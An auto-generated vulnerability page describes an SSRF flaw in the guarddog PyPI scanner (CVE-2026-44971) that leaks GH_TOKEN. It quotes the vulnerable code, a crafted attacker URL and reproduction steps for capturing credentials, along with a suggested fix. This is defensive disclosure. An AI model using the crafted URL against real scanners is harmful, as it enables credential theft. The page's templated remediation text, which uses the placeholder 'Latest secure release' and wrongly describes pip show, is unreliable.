Vulnerabilities in pkg:pypi/guarddog

PACKAGE
Advisory Identifier: GHSA-587r-mc96-6f2p
Advisory Summary

CVE-2026-44971 is a HIGH (CVSS 8.2) guarddog has a blind github vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Guarddog libraries in the PyPI ecosystem. The issue involves guarddog has a blind github url rewrite in remote project scanning causes ssrf and `gh_token` exfiltration. Remediation is available in the latest vendor maintenance releases.

6 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:pypi/guarddog

6 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:pypi/guarddog. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-587r-mc96-6f2p CVE-2026-44971 HIGH GuardDog has a blind GitHub URL rewrite in remote project scanning causes SSRF and `GH_TOKEN` exfiltration
GHSA-m5p4-gvpx-4mvr CVE-2026-44972 MODERATE GuardDog: Unsanitized human-readable scan output allows terminal escape injection from malicious package content
GHSA-xg9w-vg3g-6m68 CVE-2026-22871 HIGH GuardDog Path Traversal Vulnerability Leads to Arbitrary File Overwrite and RCE
GHSA-ffj4-jq7m-9g6v CVE-2026-22870 HIGH GuardDog Zip Bomb Vulnerability in safe_extract() Allows DoS
GHSA-78m5-jpmf-ch7v CVE-2022-23530 LOW GuardDog vulnerable to arbitrary file write when scanning a specially-crafted remote PyPI package
GHSA-rp2v-v467-q9vq CVE-2022-23531 LOW GuardDog vulnerable to arbitrary file write when scanning a specially-crafted PyPI package

CVE-2026-44971 at a Glance

CVE Identifier CVE-2026-44971
GHSA Identifier GHSA-587r-mc96-6f2p
Severity HIGH
CVSS v3.1 Base Score 8.2
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product Guarddog
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 8.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-44971

To remediate this vulnerability, upgrade all affected Guarddog dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

guarddog fixed: Latest secure release
pip install guarddog>=Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show guarddog

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-44971, inspect your installed packages using pip:

pip show guarddog

Analyze the terminal output to locate any version of Guarddog in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: The pip show guarddog command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Guarddog, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# Summary The programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the `GH_TOKEN` used by GuardDog. # Description `ProjectScanner.scan_remote()` takes a `url`, `branch`, and `requirements_name`, then constructs a raw GitHub URL by calling: ```python githubusercontent_url = url.replace("github", "raw.githubusercontent") req_url = f"{githubusercontent_url}/{branch}/{requirements_name}" resp = requests.get(url=req_url, auth=token) ``` Because this logic does not parse or validate the hostname, a crafted URL such as: ```text http://github@127.0.0.1:18081/owner/repo ``` is transformed into: ```text http://raw.githubusercontent@127.0.0.1:18081/owner/repo/main/requirements.txt ``` Requests interprets this as an HTTP request to `127.0.0.1:18081`, and GuardDog includes the configured GitHub credentials via HTTP Basic Auth. # Reproduction summary 1. Start an HTTP listener on `127.0.0.1:18081` that logs the request path and `Authorization` header. 2. Set `GIT_USERNAME=alice` and `GH_TOKEN=supersecret`. 3. Call `PypiRequirementsScanner().scan_remote("http://github@127.0.0.1:18081/owner/repo", "main", "requirements.txt")`. 4. Observe a request to `/owner/repo/main/requirements.txt` with `Authorization: Basic YWxpY2U6c3VwZXJzZWNyZXQ=`. # Key code paths - `guarddog/scanners/scanner.py:361-365` # Practical impact This can expose repository-scanning infrastructure to: - theft of the GitHub PAT configured in `GH_TOKEN` - SSRF to internal or localhost services reachable by the scanner - attacker-controlled dependency file content returned by the malicious endpoint # Prior public disclosure check As of 2026-03-18, no matching public GitHub advisory, CVE, or public repo issue was found for this specific bug. # Suggested fix Parse the input URL, require `hostname == "github.com"`, validate the path shape (`owner/repo`), build the raw URL from parsed components instead of string replacement, and never send GitHub credentials to non-GitHub hosts.

CVE-2026-44971 Affected Guarddog Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
guarddog
PyPI
≥ 1.0.0
≤ 2.9.0

References

Frequently Asked Questions

What is CVE-2026-44971?
CVE-2026-44971 is a security vulnerability in Guarddog involving GuardDog has a blind GitHub URL rewrite in remote project scanning causes SSRF and `GH_TOKEN` exfiltration under CWE-918: Server-Side Request Forgery (SSRF).
Which Guarddog versions are affected?
Affected versions include releases prior to current release patches across affected packages: guarddog.
What version fixes CVE-2026-44971?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is guarddog affected?
Yes, guarddog is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-44971?
CVE-2026-44971 has a CVSS v3.1 base score of 8.2 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N.
What CWE is associated with CVE-2026-44971?
CVE-2026-44971 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check PyPI dependencies for CVE-2026-44971?
Run the dependency tree command: 'pip show guarddog'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-587r-mc96-6f2p",
  "modified" : "2026-06-08T23:42:22Z",
  "published" : "2026-05-11T14:45:08Z",
  "aliases" : [ "CVE-2026-44971" ],
  "summary" : "GuardDog has a blind GitHub URL rewrite in remote project scanning causes SSRF and `GH_TOKEN` exfiltration",
  "details" : "# Summary\nThe programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the `GH_TOKEN` used by GuardDog.\n\n# Description\n`ProjectScanner.scan_remote()` takes a `url`, `branch`, and `requirements_name`, then constructs a raw GitHub URL by calling:\n\n```python\ngithubusercontent_url = url.replace(\"github\", \"raw.githubusercontent\")\nreq_url = f\"{githubusercontent_url}/{branch}/{requirements_name}\"\nresp = requests.get(url=req_url, auth=token)\n```\n\nBecause this logic does not parse or validate the hostname, a crafted URL such as:\n\n```text\nhttp://github@127.0.0.1:18081/owner/repo\n```\n\nis transformed into:\n\n```text\nhttp://raw.githubusercontent@127.0.0.1:18081/owner/repo/main/requirements.txt\n```\n\nRequests interprets this as an HTTP request to `127.0.0.1:18081`, and GuardDog includes the configured GitHub credentials via HTTP Basic Auth.\n\n# Reproduction summary\n1. Start an HTTP listener on `127.0.0.1:18081` that logs the request path and `Authorization` header.\n2. Set `GIT_USERNAME=alice` and `GH_TOKEN=supersecret`.\n3. Call `PypiRequirementsScanner().scan_remote(\"http://github@127.0.0.1:18081/owner/repo\", \"main\", \"requirements.txt\")`.\n4. Observe a request to `/owner/repo/main/requirements.txt` with `Authorization: Basic YWxpY2U6c3VwZXJzZWNyZXQ=`.\n\n# Key code paths\n- `guarddog/scanners/scanner.py:361-365`\n\n# Practical impact\nThis can expose repository-scanning infrastructure to:\n- theft of the GitHub PAT configured in `GH_TOKEN`\n- SSRF to internal or localhost services reachable by the scanner\n- attacker-controlled dependency file content returned by the malicious endpoint\n\n# Prior public disclosure check\nAs of 2026-03-18, no matching public GitHub advisory, CVE, or public repo issue was found for this specific bug.\n\n# Suggested fix\nParse the input URL, require `hostname == \"github.com\"`, validate the path shape (`owner/repo`), build the raw URL from parsed components instead of string replacement, and never send GitHub credentials to non-GitHub hosts.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "guarddog"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.0.0"
      }, {
        "last_affected" : "2.9.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/DataDog/guarddog/security/advisories/GHSA-587r-mc96-6f2p"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44971"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/DataDog/guarddog"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-11T14:45:08Z",
    "nvd_published_at" : "2026-05-27T15:16:29Z"
  }
}